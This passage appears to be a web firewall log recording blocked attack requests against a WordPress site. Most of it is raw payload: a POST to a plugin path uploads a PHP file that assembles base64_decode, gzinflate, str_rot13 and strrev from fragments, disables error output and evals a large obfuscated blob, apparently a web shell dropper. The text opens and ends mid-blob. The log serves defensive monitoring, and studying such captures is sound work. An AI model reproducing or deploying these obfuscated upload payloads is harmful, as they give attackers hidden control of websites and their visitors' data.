smDsGDqio+4pI0y1\/DUWbIBLGixqX5kHFRpB1rl\/Fc23SykHJ7CyWpeLGrkkE83SFXiZ10J1PQhNNAQDq9+ioXY\/Hso5E6FYeIdBLrtFf6016EKi60XvT7+kwjPQETkaBMGKx5tzx4VWEEHUm+ek4mxOAWAEABCAsOEoAN5RTbfSHkMvvdeS69C1628sJqLx4kDPREHk2teaVxIqwzGX72ea4Jx0A247p1ZPSN3WXmOBekQdZKqW2C\/iDVNcFkSe2d8Zf9D1DRBpiiJBZP5U+flrIjWBRZ2jEzBSU5OYsoVeaYJpfmuvoZP2StiLBL57G6PVNcSX8U3sZh2LFOLAyPyRJK2zciUx2mWN8U3TSLXXzkpkC6FXO2NwdovXk+7\/3J97Vtzw9WA8C+V1gDahLd21CqvpeS+Em9wpb2yFTP2y8IUz1VTZlz6rz+bCW5OudqpryZ0sltjWt5DTF+7+OpN++QU3unuCTqr5fkSnKVs9LwvZqtoX2sjCjdLja0usRyvb4wsxDDGT8Scwoj\/1XG3klbn5Q5rZVZHJnXVzcGE7FOGHwX1BECFE7vwyrGOviyzOuN9XDpRN2lFfywle+83oneRB1C7RsFkLKWsEkDOYN3PDFVzlOJdTiLdVmuNrJaxRkhvzBxMtmRjhT\/r7Rhvx8qctNKab+1ZQNJ0xgqPvajnITCaYmk5Cx8DNnJcnsWq3h5c\/N2wcrTbcrJxP6TbyeWod0QNR\/Z\/54SHijge95vJWRTbMxTBLKrw38qqrlcxgUDhPiCPaNNPQncxx4lkazu7DhYZKFRZqsCPgPwEAcLdbDXVZxgL\/OKnqEbt+pXGfD5+JgIeRYuZoliX5VqthlSh9G0ECDbgAfbWk5muIyctpjoV2JRm7leY+5rhBMKwKqNElj8AQ42USpsG7vm\/XHNrVTfxNKv8KWpiveDh8lnHk1gyJVnTBtEJ3GxIKgPtkV2hmdQDDSRrvJ21+0sxQZhU5C86OKyTRI9vTzICDIYhyfxNJshQHymnro\/RA2NhEbIFHlvkpxMGM1OO41eR9iz8x5V3fPQ7BLdsMgeIOQwC\/sMxYhxBrviZlCqmOacqa3GPLhl2aX3\/XPocSSgCJCLEnHUzczSbTWfjfX8AB9jTOPoYLcS1CRz2DDXVJKsNV9vWPAjsSMwjW0YZ+PQiIZzl4T506V2YY7E3qFbOaNj1c3eJEoW5CA03TqFCId9zg7hVls7LyXmgN31SUjNPg7VZb\/7AooO9CMY8gF7E3DcNHKXetNLjTdLr7DxUkAEB43bgLdCUiW\/Seq+971OjrDESD9aXqJsy6XFOmV9VRa7rWbAAnOxct4FIACJcmyacJ2eBNZenMpd+uy5dBUomsFzmyVNTl+mi\/eD6pmaAWmUPOr0vPCunCAqJdoCmRwBOKOlWJRa0sVcxYAfkhloD\/52w\/FPv8L0+DuMPpltdM4QYkW0SbksNicX+3pBu\/7EF+OzlJRSKQwxtXSuR0FUFQwoQGlRvVBbYe5PKAhIGC4hVK+GtvFxp4OjVDnwgli59QB5tRbPQjS53Y997YKO+27Q\/7i5xWeV0aMnESNfbB7YE\/uEe7KABCbWgyYbpKDH1LNKATHyg0cx+uJ0ua1EO6jNaPw3hS542CrvlZzXKsB88fZMGidOX0l0XHht8rITlLQJSpoPuVnM0+cNNHR73MVBwwp9k6qpXhVcmdYkl4tmFAv4LWv3zzb+dGnLYsxAn58\/PaLjiu4gW6lTEoAFebIT7uO7YBxC\/JVaADeQVJOtJWd\/7+LO8G5jwSWG7cDebL264fkCJ8Pxcc9a9G6HRTozCJq+PzQD3Zjo9mD+1t5Wn9FCH6\/emae1ZkMUGGTzikQa1HH8Lv0+xXuGAF00YYMX0JKk5Hawu8xrcwuUJtGXXals2\/TT+PnBLtbDpeVPfabfg2r3rO3ytzDEt0ma77shM7HEukynf0A4t\/apDpnFzr5ecKx0ES5aVJKgBHSfsoXuxeVTUGFboa5R302JmElfl3T2hlK2C0mzlgdOuE9BZGaNqkiobgeXKJJ1twDUVAg4pf3ctJpRMylKfbyWYQHnHW2\/NLFAbQ0IrGGVr3EQhNunMnrv7wJaYACBig8vBDZFlWVHzuR2pCbSItn+4H2ZEm4FIAyD+CZr5UIvD9eO3V7DY\/iWOMNkovfh5frdljq5OzsIP6jEPab94ZCdwNDAEAmme87y\/GT\/tK1HRpuJ4Tp2lFrW3p3mzRSE8YCmbGL4NXfo+l6+3MpZAK2m02SvvATuXzFICLM61iG70bD824vLuXT6elMogS6HGG6z9b86Q7g5q4Lr9\/IEMVsOjpk4BhyDjU+6uuXpfk6nOrrETJs468qfdjNL6TB3V4rX0ypxaZmOvcjeCG8fjyHOQCACkGkJDut321dAw5foKh\/kaFaUWqMRF7rIvCXyJAJEABPwUmmwzJkeO5XrCDyOdj3NBex4iaED6bhoPYFGzF3voahtrLrho8zMh2\/UIm6aFIrJSVFCVT+OhHkF12eiGohKNvxz3vuID82Z+JlUn33znZEEM531Jgmp3JQ7zVhfYVLXThGkCLGBLtlZR3EIGPRxucEfTMdx\/VEgStDQqcUzvQSBr2Emo032xS6Ota1WPOEY0pAKJ6fr3Tzlge27k\/08MYUtIHIRRwjzdV62mbJeIfv3QwYn8M7Xa2dieeEMAyklXUv32U2pC4Q0zp+\/htwrcg7Uq372hsZV5g\/260rUx573wxwmfCC6IAqJDF4rK+i52Ok\/TzsMu1WYMBR\/lnblDqfHiSlh65mNSl8P7+JcbUv0syFKCVsJbiVyVL2bbWt+dMTG087w8B8XJG6z\/t06k9gR0COSs6rK1jmNRuggMAiOytv+4IsNfQsIcFSLLebfggykmtXz1yryqQw1ZMoYoP47+mt5ENTGpR04qIhsrjdeqgX\/Q45ZKS7\/MOVhAv0o8WdpeaINkqzZ86pIRWKcV6TN4rBuAUR6PUVvs8C4wYC+yRBTQRUgDGjNNNhoEnybrA+uNOZNC5yJ7ivPhiBzqXZ\/LnXCrtP1uRRN9PmwJmN\/fxka\/4TJDcyw8aXYrCiCKn63L6eAtJwY2VQNypSses8v\/Ii\/nIk2D3jSGXlN9yTdaRAp0PlCDpC5ucBy9x2um9eIA7gcIQOsckBx5SBcUO\/zaDAa2eXgAnVYDhn68GYom4X\/DMbrGFDcof\/QV\/0RpB\/BNeZX4VfA\/2fItbxEYhhwokwQMcn77\/hllhVmajvWdDtgxj\/bFMk7rHTvp6kaRu0USubtlu0tRh0v5b3yz3BiF\/wAtNB5OJtd\/IPCZmaWETFs8WcUOJCcFXrKdWSgP8nfS65rc47MdqpzmskvRtqu0Pt4jUo1NuGpJKlpTInbW6KAKzUbmLXJLTS5lfLrALhAvO5kQfPSYmNMwrV8tx7OzJFAA64wrfMQAAwoqOxCTh2TDl1F8nC44yWulXY0NJAsv0ANN7KbvsNL6b7FlkcRF3RNLlzSuLbINweyPUS4rr+ih\/HAUgorxxDLULm8eSWxe5QpHpwNa5ndLS85mvobD0HFZeuKQbNGcHq3bhetMCFPt7qX\/1\/aceHb6j3kH20mLP1EtchQ753I5d5PFsUNhENYT76jDBfNopHK6sFwDQsmaCm9tMzdyxKMBWmnxd\/seaAS1Ey6v807S1QNfODoJqGkHlCEVfwF12y5A1l9hl+Q9y0mjCu6vrdZ6A\/oYtkaV6aNoFvz2RKM3ecWYX5ZbvYeoP\/LKveNfFEO8h2jQ\/qLLm5bovo\/p5kaomriH61\/7JfOISU98594IPEeTDP2wWqsbPZ7eq3rxiTxEOb+lht+FIthIJIbinmldysslxSt7xFk+HwkUmXUnryA6UupjXQbUdDXuKAEDbx\/vcpOxve80rxEA+CoATH\/Ur6\/XikiNjmJsypY4TygkpQ3vqhT+o3XCGiINptSh6Wqw89Yrh1I3CYOEeR+GZMSed\/I6u7tv7bRQG\/1HIaSOhN\/Bcb4GTPHFKbedzNHD25q26RUOfYbPWV94YZdLuqaaLajFKtuCufEkuuZTwb1q0AhYqKvIbw9visheWSaAXfKQGm68Pbmn2HxLvCMleMqXCufLwqS+3nyPX2nCBc5kUgPCEghzF2xRekXqy9VLtNBkPh+uJTO9KuVYP\/nt7KJ+p9yMPS6WvJYE7Pag1OH45svP9Ni+XyRfNI74IP0tw\/SVktBB2lk5irZaZNQT9g0ZU3tHTK8qfrPxyq4pmCj5RcLs+5rMhj9e18FA+p6wrEguqTQdohVUnHtGBM+SLlgl8IlScfo02POUdQrwq92C0808qUQ3hvJCMwpzifygAXTe2\/LJuGuWR2JB8hat1hB+TPkfUC3fhXtX83xEx2YZEKgcr4tHhyfab0WjK+E+8OXLz41c7LZ0w2eI3TBLpj73+yRKvyTpffT9XNDm8v6MOY79Vd25+aXDmi9Fdn5B8f0W+\/y6Eobt+\/6b+\/Pqevf8WWHn9xqpK6Oq4SH7UWTzm1SH6qWOAsHfz4feSxKSeXgiRFcU1Y9CNkd1vpuVn4MoUkgkAnBupZtLBAP3jQEUTUPzXGtv\/XlEkpKWA8AH2AfWhoHRyNPI0tnYi5CP8P5bQeKgoctaXKf6GTf2NMHRzdnLkoVJWVJcQFtJX1tPSktdXpnQxdDM3NTJ2MtU3NTI1dSL8Xw=='))))); ?>\r\n--40b7a320b2ed61af77b9974898fe4e95--\r\n"]
["2026-05-26 16:53:00","170.205.30.68","POST","\/wp-content\/plugins\/dyeja\/index.php","Mozilla\/5.0 (Linux; Android 7.0; SM-G892A Build\/NRD90M; wv) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/60.0.3112.107 Mobile Safari\/537.36","post","http包非法,并且被封锁IP,如果自定义了from-data可能会导致误报。如果大量出现当前问题。可以选择在全局设置中关闭From-data协议22","POST \/wp-content\/plugins\/dyeja\/index.php HTTP\/1.1\naccept-encoding:gzip, deflate\ncontent-type:multipart\/form-data; boundary=eaf81d6fe8210e4b974847326b38c8e4\nuser-agent:Mozilla\/5.0 (Linux; Android 7.0; SM-G892A Build\/NRD90M; wv) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/60.0.3112.107 Mobile Safari\/537.36\nhost:dewenlabels.com\ncontent-length:20152\nconnection:keep-alive\naccept:*\/*\n\n--eaf81d6fe8210e4b974847326b38c8e4\r\nContent-Disposition: form-data; name=\"dirnya\"\r\n\r\n1\r\n--eaf81d6fe8210e4b974847326b38c8e4\r\nContent-Disposition: form-data; name=\"upwkwk\"\r\n\r\naplod\r\n--eaf81d6fe8210e4b974847326b38c8e4\r\nContent-Disposition: form-data; name=\"berkasnya\"\r\n\r\n\r\n--eaf81d6fe8210e4b974847326b38c8e4\r\nContent-Disposition: form-data; name=\"darilink\"\r\n\r\n\r\n--eaf81d6fe8210e4b974847326b38c8e4\r\nContent-Disposition: form-data; name=\"namalink\"\r\n\r\n\r\n--eaf81d6fe8210e4b974847326b38c8e4\r\nContent-Disposition: form-data; name=\"berkas\"; filename=\"ovaumhqpm.php\"\r\nContent-Type: application\/octet-stream\r\n\r\n<?php $DesQW = 'base'.'64'.'_'.'decode'; $LNuWx = 'gzinflat'.'e'; $sJhXG = 'st'.'r'.'_rot'.'13'; $Shgrt = 's'.'trrev'; echo '<br> '; \/*** ecf18c7da6efc3961853a42ff883eaa9e74fb0c2 **\/ ini_set('error_log', NULL); error_reporting(0); ini_set('display_errors', 0); eval($Shgrt($sJhXG($LNuWx($DesQW('rXtTmCfxkmXZZpdt27btf9m2bavLruqybdtVXTa6bJvbc2fu3Z2987Tf\/h7yy8iIOHHiPGRGPgQP1b8dXU7Gv8eaUUd3SkdcS15BWEuVlNKSg8nLi9XJiFna0ktC1YZTS02OlVGf0tPO0un\/98WX5z9YiLNYeBjrk1IqOavJ6FN6iSka2nNy\/LWdzO08nQ3dbF0oLZ1MTc3NCA1NLcydTHn+FeFpZ2\/k6cLDxGlvpPVPy\/tfcP9zH4SGRm7mDoYWzjy6HP\/WO9+\/oHl02f\/N+V91fHk4OIXkvGT1Sf9J6D+UZPu\/ZTR0s2e2dnKlpDI3dKOk\/RvByvg\/iP3fo\/4JTPm3W3sLM75\/2v+owPL\/nO5N9S\/PPzT+lwa+vjx\/Ecz+2YgvD\/M\/SvDRuP3t0oGUj\/4fXm8nM0+nf9j\/aVIx8vG5kVI6u\/FQ2ZHS6jL\/Oy0PBztjPoe\/tP\/TR+tGSvuX0l+i\/6Jm9xfGkJT3L4yTp5urFQ\/jX0QeXaZ\/0\/wfFXmo\/plt6OT595bP8G\/2vx79pwT\/6sn7r1T\/nY2ZuZmbtZP+PwOI\/jKH+Q9FOekIae3+gx4FEJDKY6oz5RPo9x7TEIxzmHJQF5EAQlPBdb\/ACml28yNWVAupROytgxHBLW5lmRtN9QObEYxJBjMuT+fYmwki3MIXbntmPwOX4DmKkmZaKxrwKd+LALK3lEDxn3PsMm8yvXXiX1RdPKQPsQTekOBhGfnVwjCqiZJfKl6rpwKYyuK1XGWfkrYW4g2DAtLKtSshZXDibqlqOysE5klrY2Rga3iTyd5Riyw\/lH7Jy3PKmUyU6DKa3eQrHgtwFFS\/JPpWUgCK5LQLxyL064JvM96+k\/SHN0z6rMV6lcSznEbqyoIjnikbF3XTN7tV1m1q7GMOmEssB7ovA8oZ4wNiCCaWrh0cklvESic4dHJTmMNLjXZEBZfyTgu2+N9TRuJ9HEXoqdZ+HVJ6U0VP\/GQUoMc2s5PdYKUt0M+gAKTuIFhcZyEgkKG0oqflzadOXPYgWfXGTT+o0L08GcuZxKCP8SEdkpXbDNeb4GWQiu+pNXfiW3ecKPqqHB2WLOO7bPK2Ma1HtnyoE585HCjGxHYJW0TAJ29cM+s+bgihob4tCA1bL9raEY8i4E\/u7jo33yLbHvbfxBoQ1b6FxE8DAONGAofCEMi1sk\/PZ41E643oqZnPQ83i7m6GXYnaZx+Fxs+YjWQocaT8yGTShFEHBrpBdyUNFkLBZr2euK8NTsjss1Igq7jO3ECQkC1v946w\/H04ZDV4RB+4fx7Xno+r+2Xuzdl+92HRBudMPHdyT+iX7JWnDUrrC4DO7BDz48ZWlmyhqEoNQ5tCJ5t04ELkiTgf8JQkSjoLWshgHZK\/jVeXil3DfhFZmMgAABjAuzqv7GQByTID8G7CW5wwhBlwcGPM4jNJb9YIC\/pJQF\/1GjGkEfwfdmkM832JvyBUKj4bboY2yiTXjcPc1dI0a5xZGfOWRd2cIKqibSUMsCUT8L3ZLHqI9hjol5xP3QLGNUDxH93Z8hHO5NJ+Aa\/+zpKH4+ShQlQgKdN9XTXp6AOaUpBcVGuZgSNnscpmW1eSZYVI9Qv0N92Gh7wk0PAK+iV5jHpsLMmyLqmmnhCXxeFoIe3sVOF2MbVBoqT4imB3T3t7+aEo3vwKnVGN3HXe1Lo18EAZjk8whgM8cA0AqHktJhS4L7mmH1QUbcVI9vbE0nTDUD2gMgPZthRM8XX1FqnEBZ7zW305kT97szpZSb4NlvzkVjMtH+h02Sn2UZw72vuifZ7CCIBsTlgg7\/IJqMHZE2nsQlV4pcIvgzzg6vYV1atYwnKx5kRdAz+lakrbqdanev+d8LZHxyGTSJWhiDgBxPGzC+XNucP6Vm85VyEOhcfE8xJqf72+7fa0OXyqJDGk2ty+yMQK\/XNwGQAA2p5whdHiicFI7YyEqCj\/MO7wiOZyFYVoOLtks3d8jRYqsfEOqxdqj44oZO7FJBr5iAlSbtwFcRItkektGMS9JDnNsgydnE2XhHJ00+EBBY\/+wxAOCllx0kTL3in3A4X+QIeu0w8ubcPiwrM26TP\/trOiYGnMX5FL9HenlNgePZZCTeRUw9hFWYWeia5LUxqVgwSsgR4OS85DtJnRYUkXBUCx5pittdZmS\/oCxUHH6dytA2xTuoFxaCATwfZ3DIy88s5I9vpPr7d5MZzCxAalFVS36Pw\/QOMD5dwrTjT0ryqSnON8Niv8xa7QT\/jqcvSSiN1tRVkIO4jIPTdFPTsjNPeRZbp+\/BUaD1s\/euxC2ojtSxgLIx0ynGKqLWqa2TGuj7ilsLbLq7Wbf4UV4Pe2YgqnBQaotophVz8lDdIKRtiQlCeK0KPfrwqQcJmVPIzOpNF2ffzpXx0pZnuZLrWbO2l+6KjT3BUcyALqW2vCgn4r+15nb5RrDXhsSCK7ajX81cMXiZXA47tQPUHbx8JqtUxdfchyg8st9UZ1RjqSBgAkBf0gqO\/EnxmnT63QNlsrV\/G7M7cNyHUjbRrLlxRK4R4lsijfKKTqhJ\/W0QIGguIUGpHUVo30bsCbVMvTFh0LLLWxmg1hqhkIz0Neto7hRH+R3nJrfElOSV956os2vMe18L6R5FD1uSOwumbTItYIlDLujR+D4PyU45t4tbPOCLsyOwJjYzmB88aCTNSXwEo+L6KfMoAKQi4r6ZKz2Q8O7n19\/+RjVCIlmqcV4H7XewT7cTCXWRtXuiIM8qnO70+Q7Dti7o\/IMDPMPT8EAFRDpisFOTe\/d+kRk493v9ZO8Wagh82FJ2AAOSE+44lTw6W\/hZJDO5GbPQuqcKgWNra4MYWYyQTpHBrpw1azPhmCW5vd6jSIus4nXPCs1SjNEpb5wWUQLi\/4hArHRoJemgWKbjHVOdXzT2AVgMWqaaOgpcDXHgmAPI+QHA\/RRz6pBxKsUzb6ZqmGG75pAjvhcRYckXmo+6INE9j54KxnYAyzcyQR\/OCzJrqOt\/mhxCwK2UkBuABC4h730dL3wh1\/9\/eRR2RQIoLh3N9lEn9qKNlT+PHjBv1PGSoHowz\/TqCcuTKyjetFP5ezHCgm8S3GFQkAULYKvLygYySwwfUgVsOPrXBYKu9B7RuRWyzGYoFT4mseV0p135uadUIwonqOBgz7qmqIIzfcfwvHwbuDx9BnMTO1Jo+B+jVnuGGLbCVqAL7XEJ5XeR\/ThqflqZHbsoJ9QgEQYIjGjhZUTWMGceokOWbOarsGxnNlZK3FaAVfE1CdVeq7d\/c1Eut4YyCK\/xl+tedJ+1AktDfpRvMpVgZ8DicYYCOZThZ9syEq6xIz5Xsx6r7QkouE9\/Gr2ytn1rY5YugbI0xPPmdT9pW\/xupoQh+Skb7mhnM+ur+I+rgt83S+\/fLuXb3op4RuTS9bpvOeIqtzF5Relfhb97b\/uYctSzsfezF5M60SWFco6PF1UpUJ1bX7eg1yyljCwi9RVBuoc5uhHz57xoVsiz2TjkDul+der7937Y5ns7datq5LH7pW0neVLrUx6NUq9efpP2v1IW8FlMEg02hBYnfcnJLnG6ODhc+e\/FaiWnniVqwb70+RQXETdUhxW+QyR0x1FDTrcThg7621PhipquABALk0WYHp8Q\/H+8M8NqsAg2yUDlZ02REHItYi9DpfCS2S45dCTLog66ncgZtnvxXNu5BxVj0wemGzo5ccbo99DZ+9Ck63ou1AXwH2bEH0\/VzOJTr3pIYCVFZpNyyzF+B40hUtlTjx07rHAiHl1kkaV7o6cHwRc00M+J3kjKliFHJBGKOREV0L\/HWwwaeoVJ\/CKkh4URgAIGueEqKLcTsjD8iwn\/EuAIL6etp\/nspC69pi5tfJSDyllTOpAzQWMQTWqgbKGJ\/5PXrq\/pNwSZDX3bwzHsc95TVIH6tvW+Dx44\/hSRZRAbmuPX6sbOMakbOAc2a1BJXwCjZ7XkzfHrMwa664vMQlY6k3KONr0i\/CAd2buLnKey4ocKADXx\/sldSSQx5fdYLHegoAqGxQT+7WcxKmCCjdOYwRYlLW1rhmTW1XfrzO73nRERTIiWfxFz2IAgBgwXAso7IcM11Tme7bccA+1GZq84D+AsKZuEWFP2TNsiOPczOLanMuex92Bmc0vfSexorWYtc7JFc6FO\/qAwDQfGFbDXMoVsWH\/atDJbPvWFVHwcA+KtUUR\/VjuH2aetVaHvA1VDOVj8mngyfp4kWMdaffULD0okWESB+HCtfMHkHP2TQFwOuZiNaqtJkwu8zJPkVhOIKVAoDxie6jUHjuBwDckZPPQHbHN8ns+mTB3be2F27UV2AZxDQOoRMafPbPeZlFhfsGMU5t0\/rh3cj0qtz2I6o9UQCa2FgR4CcKrIJub+Xr5NFwKvdWL15BdRs1xb5S2tr0bXMkcZcyz2z\/mJSO+qYni3X6c5sAOTKG9hUvW651Do+UhN+pf1aTiI8qIBXcT23H\/5b73jwatHRO\/c6YmKiifE74YcNNpH54rC5qVodtNE43Xe0XqjgqbJpPI75qj2EIALCyQwSw\/QY+O44oY2ZwpwskT2tKCoi9OKoINHhCwpSB8mRyrhXy7g3guNsJO5\/b68SkhOAJC4zMhenCRr5ksDb\/PZjcvcHmPupJyGfhetbd\/rtvlhUR1MbxcRMAKCo28CBrZApbs8YgRskMFJU74c3U2Ix9+xm5la5OvVcVAe6zmiKUBiZlkY1mu28OAa5QN5903WdlUzJ8Kx7UZ0bufP7UWOVSbjjJdFW78NJpBboxg6bj6crsTekI6xhbLxSEflN6IHqPavV0hiwojRduuAIs8ssyweOdQ1grpDwaL5eHumX7fFQDkhOMp7eCtZAswLc\/RmKQkpnJV0xWBGhcdXBdoRlRxqTmjDOf3YK8N9+4mWeJTgTiK4yg3Oubxq0CDQF8qkDQx++tLeFw2aC8dUSIxEUG7Dp3pIxgUagZE3ih+uPH\/Tc8j3UTzpmBin9uUHwrIUeP8x8lzJCHIbUzoI6ox530958cpwBAiHLKoEcxMTLDfDwpsLqr336VzNLsPrDuZNZ2JrqiIC66xN63ZkZKQnBWhefxUYQ7zJfUAmORHqhRwMmDkvnUtHd25BqQXFx5cWnYAvkMANDFMD1KTy2Y8\/QuzjpBqtrj9YEZ0oi67WkIBOaO\/g4XFwvydP7a2vQmdK6JdIarnyZ9p6bFubhNPPiTM6VvTodIHHVYZFmjbP1aUMovcP83yvrM8vHjnCoqwfEz3EPzEo5LaLGWcQWkDjpNTpNddugixp9vlT2MKQfM1YbRBFu5YAs\/iXb8uHSmYL1k6rJR5eMCwxuwLebtjhoDSmY7P9mtx6nU6vqzxPDLkxOkZlrX207oBipJU224QWwXWf8Rh9q87BivHnlXOaxfa7qon9xtCyCqoG70P1Ra0sa84qR6nnEebA3Wz8wTNS6rjPN+3P7elSl8aFAlrovnDL9lRHhG8rfvgOnbQLkGsvX1dnpnjUphRRg21rH8kTPZKeOMOIJu04s2q3yICqa1rOQheH0ZBZS3XqPzJKMq0R3TD3aR8k4Wwg9E+1UYZki48HlgpDJUNhMqT5ti8j7Iw9aksoliC\/Ykw+udzoy2VV\/URvlGtyILRkD1qFfARYbXJegNg3T2dVJkck8BsJhIbIw3z4Lmfh\/7SG+EoJMTICLR2H0dUq5rF2DqCaTqUbeE9QKvYEpUgOZzOU7WiCipJOv7dFV2EmIG7gmmG2xMr35vu1CLO0QDjg1Nd1U4iaXxZ28AjQg1+eHA\/JFp8Tx3Aq5UTahglQbDMbgWzL94Yq1+PBuDmQOGhVoc37ZYZXVP6qmm4zPRXGHJcQqjJy5XNopWMsdwtjaqa1lNv0SnLElkh+rS0RBUJPhMmlXrSsMSARH6lUvpD\/\/WtBru13dfwNgFw1uNY\/miPBJF5ztcq4AAAPRjAwCBXxoGHROKcdy9qrg8IXIzBjZc6qbcd2Lm+K5\/SHNYnRBlTJvDR7cgww7sTB1mwWAveiFz61VRIBu6FtZIfqDJ3YJePw99MQWQTB1CMYRR5SCJc76t+MLWvKYAHYfuXg\/z21yhM0FvxC3lGpqhkJ72HaOwlfcZIFaBSxWIv7sx4sJd+walzCBcdNcuEZj3ElOjYhxhRCG2UinHbM8IHCzjftOo3KxXk1DnwnmePCUqt2+65k3xdZMOH1IV79Fpoeli09Jc+6Mc64iRi0iyZoHF72B3BzYhgYqyJ\/t2ygrT0A0tS4HDqkP8\/QxFUoqby+PW5+NezcJJAo2n8aJ4\/FjAuGNUV+\/TmB2b71peWmuBflRShQUiVsvcas5us9Abi68m49tlgoj6m23zRw8tc2+gmcsfrK987mnlN96cg1FQwujJDoZUYMB+KbSEPEcsNN3dsNvDm3MF8YMcbQwDYct1JfBSzqOaKOhBvePy8gd17LNzxjofeQX5ylGHohH1D3UkHTi90cRy0F+s3OpiG2k+Z1myTsrqqAAAoUmjIm4q\/qTeR+dDvRoGkhDndJEyy0e6iDDz2SQBF7D+JC9QkDCbKMe2tO5vKcud6l9s6+GeLaU9pFoC7hsgrByg0w1+dPl90bQAgEAHEpItp2MYBB+mulV\/M7FysaKEOOIl5eIyvw8vOZjVAyyST+jU5rtp1P0vdGc+\/hD3aDrK31hekc5M7CGX6mpNSBcDwXsulftE4ZmOyPB+OQ8ksGNrBs1ukFA1Dza2QDGzeDvMtLuUiVAV5QpkP1kUdMQ\/6KHc\/EguHzfPhokBACk8\/IxL19K6eWQtXZFRxL7FlrQVmALad0uHEzUS3VPuywZ5IVD1A7dIJ0MwL+zSbqVbUWAg3D4t9uiuKrpWhh9KPdRfkJjWfmgkQB33nhBdxUsqAuE8t+FE\/D8PUH42vfjAN6HDK1+EUwDmnq9ezjO7IjA45\/\/OQtZN5zRkozYKJpgss0fR47MsHvSd5snvpXamRQAAtqpn+ELmB4yr\/1GkQk6OwOwxrX3w9thAXlftNl5k\/a0SBaAiURzd\/zSgwHFNBzPcY21ipXgxTjpkT5RJyQZ95I2Zl4zhbSjLsEFIo0Jfm9FWONPH8amf\/C6Ed8w1IRinY\/nAan37UAWfZAYug26nZ43hrCA48OVlrgMOnW4BdOjdmSzjW0mI9uHYdFlONvWJPXJJ3r2l7P1Q1gSlnV\/p3VtfcsaZzNs+jepeaRpkqsJUAXwqiHenzqSjgHkVzYdwr8Q8ffaAUDuyiph7nBpPDufjAP0Wp4INMv18xJpE+ueWEzh8YxqQ\/RM6TBTCbanC9VnAe0FcQWIXw3s1ZQ90SQllVEr7q9dhnwnqEAtnoLm8Sp5mQmBUl\/uBP+a3rBUsZlh09R1Jo12joUpf0IprBc1+qcnM49khnMzbAkwzJIpk734Ob+yNORoLZbuyO9qNmtjzbaAoL+dYIJu4yn6Xo2HAjxEonfSmTebfTx3BiBk4XH\/Hp9xEDu9H2eCsrDN9OteCn34wEWcvohqebRi6FABZN4k07j3KDacP3iLeeUMR70jbKy+Q42vDbEXxV9H+Kb9l4QtmyxeWHLE+MKjhd2swYubcP0hQ6nz7HYgkrmxhSx9G1ZmWMTZGRLCDvpyu6zWL0X6jkd44cpGeoU+lR+tzvoUabsIDbXVQYd5pt6k2U4kXCUi9x32MBa9uuVduyl2ehQBAkCzCBszGTlhTsX27+EfdfKanXqy5R79AzylB43ojkpZI9jva5e3K5bOzQwr\/cvtAVceALwTPV+W181pYZBQlln6ycC7d2\/FkO420OFtqVDOQ6DAb4wva2JH05GoJWA73q+ju6qGXU7HIfi8vh2dECxDXSHlAnBEaYy7XJADwZDdObxpc\/9oOv6VgS2o7IfPKv4eGhQpGsuz2RlNd3k4DmyDAJJrqwTxS9kqVKGo8etVdxRjiJQRMplAuur6Yp3qFioNpEYFHnqfKcmXSamkmD7wNFd017OXwtapmvcCvzFhWa2CDB6s4QOnbEzKdzh3CepmFq6o1UEEH508sXH0iMvJChoiIsrgCpEVWzWBiBBLRP\/bWx8toXluOlCl9tC0ZB5qO2wIb39jPNFDBk24RZXFb6jN+9YO+kTICiPj6+MYwrcKldMVF3SryCOESmgIQR1ZUz69cPzevOVhtsbPYNNKNAtkWvS2Qs2CtA4KsNqJK32nrmTtm1t5aAh3eia23LAt8zOm6rbN+I4QeE9oS+9nryGA96GeQX7Gz15EIgfZ40yseKTn9pstDIMSw1ogyML2F\/DRPKeUzSWeH5Hw+0y5ZfkrcD5LN8PNrMe0EszzQuN3IGChufwAK\/nohalw3cySJQze7qJsRJY8FoxQVWrEpp2rLYMMANb5FBCOoDAAQcW3U8unx6tGXL6TFORhLg4PjeJI61bE5bZILJFmObUtwi0v05glvpAAIubtLmb02\/\/balNiSHr63HSE\/oH9nbAlvXIEaDQh6sJSL\/A1n7Oc1qHtO25X1\/DQ6WUXdrNgwHymxEdIemku7LmVYGDutQ0ZQt1qy1ia4dm3AxBYHAFwzMV5aO49TUQBy4vKjJy3Xf2WvYbVhLPcHp\/ZJUQBMd0w+wqycJYKL3vtWht1TLygAftJQv+eU4amReIoScnVTJx1b+XegoXp0uVsVopOKP4QUUjbeWF\/CeBpXy9yRmbJZ0AlM7t1aEqP10HN\/MDA9+3Mr9E\/gPkuINA4qj1qIH47XjcnUmDN29qOFfSkWiodDzThkWgt669PET2hbUvI0TadUnuMNLlzKvEIY9Lj4iKxUa4UAAFE2iBNnY8VTz1CDURV6qp9U09kGTssbdY7cSsMLxO2a+zlXwu2saMp6ilVZNLY7WujsSQLJLUnhcEgmJvZv7isOlRQAdXgjpJ7tJWcm5sCh6ZU0emKRm+WMx6yCtP4wqmpZhVnIAqmCBNyfLinZsk60t2sB1JpVPGuPO3OJecvK7irm0ohMNYHdu3A4JZ7h7llmEnIk82olaJDi89rVgw4eD3\/q1kVkIwIamglKmXYXQVcE5P+EsUCSYhvHXoREP+rgOQRbTyJyisarJ+eVik889SGPdzwT2n5OfRkExHvCqV1tawGHN38BufrWEzEQAsFEZh2U17HCz7VqO5u39McoLif82W9TSaA9zEcPEeNYz+tqA0bMiH6MhVyNYefMWbqHrmdK7zi81BbFTazKT4so66vNTuAHjxUBFnKgdStSTfx1zWN1uAVicAt2l\/ptb1MsYykEXJsHzQO7Ucn04Gy1RvbEBb2PzXV6GYpWZCLy2RWSK9czbYJdWp27f0A0ZKbeDUFpEhC5fCEn6AM8dSsjDcep4YT4B37rrZIOwXsdenD9uc1zFYdBbWP2qR3onu2BEXkhbxDFG4iZjGRV57mv0dU9+D3TslaEsfM5xwT8z5utKgNhsM9+5p0ZvV6OlKE3kn1RPZ0XL81L3C6rwzv2l\/BR02vjtudFhNSADvzSVR4l34rCjn0JrKH1qSR9ZgUXA8w8yMURWNz+7FRXZaJz8CzTx8OWgYp+v2RBPDHi4KbklGZBFTgCexVraF7toQePkk9BJE22YpT8AMYMae9id4Yii+6lrAdJTDhJtJfZYIRNdGIWgbV7qtpJd5Uf1cGg2PImPorb6yNpjfb4VUAIVJGiL+M4LNaTkipIKmYXHHpNyytxnD3Jm4lVtbECF4Q\/DvqLVWlH+kuQqShqG12eFepT8dqhfpqU+W1mJYze81hjcuO+DQOqlVLJRTFBcpkZCOwSZsLHrtPZGFLIw8PUp0I\/Lu5TkJXPXG+qlmoslNUhKe+6Jw1ht8qn7